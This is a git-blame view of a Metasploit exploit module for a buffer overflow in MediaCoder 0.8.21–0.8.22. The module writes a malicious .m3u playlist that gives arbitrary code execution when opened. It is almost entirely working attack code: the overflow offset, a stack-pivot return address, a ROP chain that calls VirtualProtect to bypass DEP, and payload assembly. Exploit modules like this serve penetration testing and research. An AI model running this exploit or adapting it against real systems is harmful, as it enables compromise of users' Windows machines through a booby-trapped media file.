Files
metasploit-gs/modules/exploits/windows/fileformat/mediacoder_m3u.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

121 lines
4.0 KiB
Ruby
Raw Normal View History

2013-07-06 11:07:11 +07:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-07-06 11:07:11 +07:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-07-06 11:07:11 +07:00
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'MediaCoder .M3U Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in MediaCoder 0.8.22. The vulnerability
2013-07-06 11:07:11 +07:00
occurs when adding an .m3u, allowing arbitrary code execution under the context
of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder
runs with DEP. This module has been tested successfully on MediaCoder 0.8.21.5539
to 0.8.22.5530 over Windows XP SP3 and Windows 7 SP0.
2013-07-06 11:07:11 +07:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'metacom', # Vulnerability discovery and PoC
2013-07-09 03:20:05 +07:00
'modpr0be <modpr0be[at]spentera.com>', # Metasploit module
2013-07-06 11:52:16 +07:00
'otoy <otoy[at]spentera.com>' # Metasploit module
2013-07-06 11:07:11 +07:00
],
'References' =>
[
[ 'CVE', '2017-8869' ],
[ 'OSVDB', '94522' ],
2013-07-06 11:07:11 +07:00
[ 'EDB', '26403' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh'
2013-07-06 11:07:11 +07:00
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 1200,
'BadChars' => "\x00\x5c\x40\x0d\x0a",
'DisableNops' => true,
'StackAdjustment' => -3500
2013-07-06 11:07:11 +07:00
},
'Targets' =>
[
[ 'MediaCoder 0.8.21 - 0.8.22 / Windows XP SP3 / Windows 7 SP0',
2013-07-06 11:07:11 +07:00
{
# stack pivot (add esp,7ac;pop pop pop pop ret from postproc-52.dll)
'Ret' => 0x6afd4435,
2013-07-06 11:07:11 +07:00
'Offset' => 849,
'Max' => 5000
}
],
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2013-06-24',
2013-07-06 11:07:11 +07:00
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
])
2013-07-06 11:07:11 +07:00
end
def junk(n=1)
return [rand_text_alpha(4).unpack("L")[0]] * n
end
def nops(rop=false, n=1)
return rop ? [0x6ab16202] * n : [0x90909090] * n
2013-07-06 11:07:11 +07:00
end
def exploit
2013-07-07 18:07:05 +07:00
# fixed rop from mona.py :)
2013-07-06 11:07:11 +07:00
rop_gadgets =
[
nops(true,35), # ROP NOP
2013-07-09 03:20:05 +07:00
0x100482ff, # POP EAX # POP EBP # RETN [jpeg.dll]
2013-07-06 11:07:11 +07:00
0xffffffc0, # negate will become 0x00000040
junk,
2013-07-09 03:20:05 +07:00
0x66d9d9ba, # NEG EAX # RETN [avutil-52.dll]
0x6ab2241d, # XCHG EAX,EDX # ADD ESP,2C # POP EBP # POP EDI # POP ESI # POP EBX # RETN [swscale-2.dll]
2013-07-06 11:52:16 +07:00
junk(15), # reserve more junk for add esp,2c
2013-07-11 00:32:32 +07:00
0x1004cc03, # POP ECX # RETN [jpeg.dll]
2013-07-09 03:20:05 +07:00
0x6ab561b0, # ptr to &VirtualProtect() [IAT swscale-2.dll]
0x66d9feee, # MOV EAX,DWORD PTR DS:[ECX] # RETN [avutil-52.dll]
0x6ab19780, # XCHG EAX,ESI # RETN [swscale-2.dll]
0x66d929f5, # POP EAX # POP EBX # RETN [jpeg.dll]
2013-07-06 11:07:11 +07:00
0xfffffcc0, # negate will become 0x0000033f
junk,
2013-07-09 03:20:05 +07:00
0x6ab3c65a, # NEG EAX # RETN [postproc-52.dll]
0x1004cc03, # POP ECX # RETN [jpeg.dll]
2013-07-06 11:07:11 +07:00
0xffffffff, #
2013-07-09 03:20:05 +07:00
0x660166e9, # INC ECX # SUB AL,0EB # RETN [libiconv-2.dll]
0x66d8ae48, # XCHG ECX,EBX # RETN [avutil-52.dll]
0x1005f6e4, # ADD EBX,EAX # OR EAX,3000000 # RETN [jpeg.dll]
0x6ab3d688, # POP ECX # RETN [jpeg.dll]
2013-07-11 00:32:32 +07:00
0x6ab4ead0, # Writable address [avutil-52.dll]
2013-07-09 03:20:05 +07:00
0x100444e3, # POP EDI # RETN [swscale-2.dll]
nops(true), # ROP NOP [swscale-2.dll]
0x100482ff, # POP EAX # POP EBP # RETN [jpeg.dll]
2013-07-06 11:52:16 +07:00
nops, # Regular NOPs
2013-07-09 03:20:05 +07:00
0x6ab01c06, # PUSH ESP# RETN [swscale-2.dll]
0x6ab28dda, # PUSHAD # RETN [swscale-2.dll]
2013-07-06 11:07:11 +07:00
].flatten.pack("V*")
sploit = "http://"
sploit << rand_text(target['Offset'])
sploit << [target.ret].pack('V')
sploit << rop_gadgets
sploit << make_nops(16)
sploit << payload.encoded
sploit << rand_text(target['Max']-sploit.length)
file_create(sploit)
end
end